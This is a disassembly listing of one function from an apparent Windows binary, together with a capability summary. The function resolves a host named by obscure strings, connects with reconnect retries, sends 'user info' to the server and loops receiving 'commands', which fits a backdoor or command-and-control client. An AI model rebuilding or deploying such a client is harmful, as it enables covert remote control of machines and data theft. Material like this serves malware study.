Function at 0x14000a330
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x5e0]
sub rsp, 0x6e0
mov rax, qword [0x14001a040]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
xor r14d, r14d
mov esi, r14d
mov dword [rbp - 0x70], r14d
call fcn.140002c90
mov ecx, 0x202
lea rdx, [rbp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000a3c5
mov edx, eax
lea rcx, [rbp - 8]
call fcn.14000f200
nop
mov r8, rax
lea rdx, str.WSAStartup_failed_with_error:
lea rcx, [rsp + 0x48]
call fcn.140008420
nop
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.1400011e0
lea rdx, [0x140017530]
lea rcx, [rbp - 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
nop word [rax + rax]
mov qword [rbp - 0x70], 0xffffffffffffffff
lea rdx, str.MWZuSZ_VITD
lea rcx, [rbp - 0x48]
call fcn.14000a250
nop
lea rdx, str.NpUEq
lea rcx, [rbp - 0x68]
call fcn.14000a250
nop
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rcx, qword [rbp - 0x48]
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
mov qword [rbp - 0x78], r14
mov qword [rbp - 8], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
mov dword [rbp], 1
mov dword [rbp + 4], 6
lea r9, [rbp - 0x78]
lea r8, [rbp - 8]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov ebx, eax
test eax, eax
je 0x14000a558
lea rdx, str.getaddrinfo_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
lea rdx, [0x1400083e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Unable_to_connect_to_server__retrying_in_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x20]
call fcn.14000aa30
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000a4e4
inc rdx
mov rcx, qword [rbp - 0x68]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000a4df
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aa18
call fcn.140010020
mov byte [rbp - 0x68], 0
mov qword [rbp - 0x50], send
mov qword [rbp - 0x58], r14
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000a52f
inc rdx
mov rcx, qword [rbp - 0x48]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000a52a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aa1f
call fcn.140010020
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
mov rcx, qword [rbp - 0x70]
cmp rcx, 0xffffffffffffffff
je 0x14000a3d0
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14000a3d0
mov rdi, qword [rbp - 0x78]
test rdi, rdi
je 0x14000a482
nop word [rax + rax]
mov r8d, dword [rdi + 0xc]
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000a5a8
mov r8d, dword [rdi + 0x10]
mov rdx, qword [rdi + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000a5b6
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x14000a570
jmp 0x14000a482
mov rcx, qword [rbp - 0x70]
cmp rcx, 0xffffffffffffffff
je 0x14000a5c6
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbp - 0x70], rbx
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, [rsp + 0x48]
call fcn.140006760
mov rbx, rax
lea rcx, [rsp + 0x68]
call fcn.1400065c0
nop
mov r8d, 1
lea rdx, [0x140013930]
mov rcx, rax
call fcn.140007c60
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x38], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], send
mov byte [rax], 0
or esi, 8
mov r9, rbx
lea r8, [rsp + 0x28]
lea rcx, [rbp - 0x28]
call fcn.140009830
or esi, 4
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14000a676
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a670
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a9e8
call fcn.140010020
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14000a6b2
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a6ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a9ef
call fcn.140010020
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], send
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000a701
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a6fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a9f6
call fcn.140010020
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], socket
mov byte [rsp + 0x48], 0
cmp qword [rbp - 0x18], 0
jne 0x14000a72b
lea rdx, str.User_info_string_is_empty__nothing_to_send.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x14000a7a2
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rdx, qword [rbp - 0x28]
xor r9d, r9d
mov r8d, dword [rbp - 0x18]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x14000a77a
lea rdx, str.Failed_to_send_user_info._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008550
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x14000a7a7
lea rdx, str.Successfully_sent
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008550
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._bytes_of_user_info_to_the_server.
call fcn.140008550
lea rdx, [0x140008720]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x14000a93b
nop dword [rax]
mov ecx, eax
cmp rcx, 0x400
jae 0x14000aa0b
mov byte [rbp + rcx + 0x1d0], 0
lea rdx, str.Received_command:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140008020
mov rcx, rax
lea rdx, [rbp + 0x1d0]
call fcn.14000aba0
lea rdx, [0x1400083e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x1d0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a850
lea rdx, [rbp + 0x1d0]
lea rcx, [rsp + 0x28]
call fcn.140009030
nop
lea rdx, [rsp + 0x28]
lea rcx, [rbp - 8]
call fcn.1400027d0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14000a8b8
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a8b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a9fd
call fcn.140010020
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], socket
mov byte [rsp + 0x28], 0
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 8]
call fcn.1400059a0
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x14000a919
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a914
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aa04
call fcn.140010020
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x14000a7e0
jne 0x14000a965
lea rdx, str.Connection_closed_by_server._Reconnecting_in_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140008020
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x20]
call fcn.14000aa30
jmp 0x14000a99c
lea rdx, str.recv_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400139d8]
call fcn.14000aba0
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x14000a9d3
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a9ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aa11
call fcn.140010020
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], send
mov byte [rbp - 0x28], 0
jmp 0x14000a4a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fb38
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3